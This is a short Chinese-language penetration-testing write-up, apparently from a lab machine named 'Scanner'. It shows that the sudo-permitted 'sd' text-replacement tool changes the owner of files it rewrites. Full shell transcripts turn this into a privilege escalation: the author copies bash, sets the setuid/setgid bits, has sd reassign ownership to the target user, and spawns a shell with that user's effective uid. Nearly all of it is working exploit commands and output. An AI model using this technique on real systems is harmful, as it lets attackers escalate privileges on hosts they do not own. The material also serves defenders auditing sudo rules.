2025年11月13日
==在测试的过程中,发现sd命令执行后会改变源文件的属组,同样的sed命令就不具备这个产生漏洞的特性==
如图比如我们在渗透过程中已经拿到了系统的初始shell,如果我们能以某个用户的权限来执行sd命令,那么就可以利用sd命令来提升至该用户权限,看如下例子
www-data@Scanner:/tmp/test$ echo 123 > test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rw-rw-rw- 1 www-data www-data 4 Nov 13 04:46 test
www-data@Scanner:/tmp/test$ sudo -l
Matching Defaults entries for www-data on Scanner:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on Scanner:
(welcome) NOPASSWD: /usr/bin/ln
(welcome) NOPASSWD: /usr/bin/sd
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rw-rw-rw- 1 welcome welcome 4 Nov 13 04:46 test
可以看到文件的属组已经从www-data变成了welcome
所以我们可以通过低权限用户为属组自身的文件加s位,从而结合sd命令改变文件属组,造成漏洞提权
www-data@Scanner:/tmp/test$ cp /bin/bash ./bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwxr-xr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ chmod a+s bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwsr-sr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:48 .
drwxrwxrwt 3 root root 4096 Nov 13 04:25 ..
-rwsr-sr-x 1 welcome welcome 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ ./bash1 -p
bash1-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(welcome) egid=1000(welcome) groups=1000(welcome),33(www-data)
可以看到目前已经提升到了welcome的权限
此类操作特权提升手法,目前测试bash环境都可以成功,zsh环境则不行